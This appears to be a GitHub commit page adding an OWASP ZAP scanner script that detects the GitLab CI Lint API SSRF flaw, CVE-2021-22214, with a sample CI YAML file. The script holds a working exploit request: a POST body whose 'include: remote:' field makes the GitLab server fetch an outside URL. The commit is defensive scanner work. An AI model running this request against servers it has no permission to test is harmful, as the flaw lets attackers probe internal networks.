Skip to content

Commit 58d4a27

Browse files
authored
Merge pull request #236 from Prince-Mendiratta/main
Unauthenticated GitLab SSRF - CI Lint API [CVE-2021-22214]
2 parents b8e06ef + d275e43 commit 58d4a27

File tree

3 files changed

+154
-0
lines changed

3 files changed

+154
-0
lines changed

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
66
## [Unreleased]
77
### Added
88
- active/Cross Site WebSocket Hijacking.js > an active scan for Cross-Site WebSocket Hijacking vulnerability
9+
- targeted/cve-2021-22214.js > A targeted script to check for Unauthorised SSRF on GitLab - CVE 2021-22214
910

1011
### Changed
1112
- Update links in READMEs.
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# This is a sample file for the purpose of demonstrating Cve-2021-22214, Unauthenticated GitLab SSRF - CI Lint API
2+
:.api_test:
3+
:rules:
4+
- :if: $CI_PIPELINE_SOURCE=="merge_request_event"
5+
:changes:
6+
- src/api/*
7+
:deploy:
8+
:rules:
9+
- :when: manual
10+
:allow_failure: true
11+
:extends:
12+
- ".api_test"
13+
:script:
14+
- echo "hello world"

targeted/cve-2021-22214.js

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
/**
2+
* Contributed by Astra Security (https://www.getastra.com/)
3+
* @author Prince Mendiratta <prince.mendiratta@getastra.com>
4+
*/
5+
6+
var pluginid = 100024;
7+
8+
var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
9+
var Model = Java.type("org.parosproxy.paros.model.Model")
10+
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
11+
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
12+
var Control = Java.type("org.parosproxy.paros.control.Control")
13+
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
14+
var session = Model.getSingleton().getSession();
15+
16+
// Print Statements using script name
17+
function logger() {
18+
print("[" + this["zap.script.name"] + "] " + arguments[0]);
19+
}
20+
21+
/**
22+
* Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214
23+
*
24+
* A function which will be invoked against a specific "targeted" message.
25+
*
26+
* @param msg - the HTTP message being acted upon. This is an HttpMessage object.
27+
*/
28+
function invokeWith(msg) {
29+
30+
var url = msg.getRequestHeader().getURI().toString();
31+
var alertName = "Unauthorised SSRF on GitLab"
32+
var alertDesc = "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " +
33+
"the back-end server of a vulnerable web application.\n" +
34+
"A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " +
35+
"unauthenticated attacker even on a GitLab instance where registration is limited.\n" +
36+
"By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " +
37+
"vulnerable server is connected to."
38+
var alertSol = "Upgrade to the latest version of GitLab."
39+
var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214"
40+
var cweId = 918; // Server-Side Request Forgery (SSRF)
41+
var wascId = 15; // Application Misconfiguration
42+
43+
// To check if script is running
44+
logger("Testing Script against URL - " + url);
45+
46+
var exploitResponse = sendReq(msg);
47+
var status = exploitResponse.getResponseHeader().getStatusCode();
48+
var rebody = exploitResponse.getResponseBody().toString();
49+
// The Content-Type Header
50+
// It would ALWAYS be in JSON for the GitLab Exploit
51+
var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type");
52+
53+
// Checks to make sure that the response is by a GitLab Instance
54+
// on the server
55+
// A unique term in the demo YAML file which will be present in
56+
// the response body when the lint check succeeds
57+
if (status === 200 && ctype === "application/json" && rebody.contains("CI_PIPELINE_SOURCE")) {
58+
var alertAttack = exploitResponse.getRequestBody().toString();
59+
var alertEvidence = "CI_PIPELINE_SOURCE";
60+
var otherInfo = "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload."
61+
customAlert(
62+
pluginid,
63+
3, // risk: 0: info, 1: low, 2: medium, 3: high
64+
3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
65+
alertName,
66+
alertDesc,
67+
alertAttack,
68+
alertEvidence,
69+
otherInfo,
70+
alertSol,
71+
alertReference,
72+
cweId,
73+
wascId,
74+
msg,
75+
url
76+
);
77+
};
78+
logger("Script run completed.");
79+
}
80+
81+
/**
82+
* Send a custom HTTP Request by manipulating the HttpMessage Object.
83+
*
84+
* @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
85+
* @return {Object.<HttpMessage>} - The HTTP Response
86+
*/
87+
function sendReq(msg) {
88+
var newReq = generateRequest(msg);
89+
var sender = new HttpSender(Model.getSingleton().getOptionsParam().getConnectionParam(), true, 6)
90+
sender.sendAndReceive(newReq);
91+
// Debugging
92+
// logger("Request Header -> " + newReq.getRequestHeader().toString())
93+
// logger("Request Body -> " + newReq.getRequestBody().toString())
94+
// logger("Response Header -> " + newReq.getResponseHeader().toString())
95+
// logger("Raw Response Body -> " + newReq.getResponseBody().toString())
96+
return newReq;
97+
}
98+
99+
/**
100+
*
101+
* @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
102+
* @returns {Object.<HttpMessage>} - The HttpMessage with modified Request Header
103+
*/
104+
function generateRequest(msg) {
105+
// The JSON Body Payload
106+
var obj = {"include_merged_yaml": true, "content": "include:\n remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml"}
107+
var newReq = msg.cloneRequest();
108+
newReq.getRequestHeader().setMethod('POST');
109+
// The URL should be {{BaseURL}}/api/v4/ci/lint
110+
newReq.getRequestHeader().getURI().setPath('/api/v4/ci/lint');
111+
newReq.setRequestBody(JSON.stringify(obj));
112+
newReq.getRequestHeader().setHeader(HttpHeader.CONTENT_TYPE,"application/json");
113+
newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length());
114+
115+
return newReq;
116+
}
117+
118+
/**
119+
* Raise an alert.
120+
* @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
121+
*/
122+
function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, otherInfo, alertSol, alertReference, cweId, wascId, msg, url) {
123+
var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
124+
var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);
125+
126+
var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName);
127+
alert.setDescription(alertDesc);
128+
alert.setAttack(alertAttack);
129+
alert.setEvidence(alertEvidence);
130+
alert.setOtherInfo(otherInfo);
131+
alert.setSolution(alertSol);
132+
alert.setReference(alertReference);
133+
alert.setCweId(cweId);
134+
alert.setWascId(wascId);
135+
alert.setMessage(msg);
136+
alert.setUri(url);
137+
138+
extensionAlert.alertFound(alert, ref);
139+
}

0 commit comments

Comments
 (0)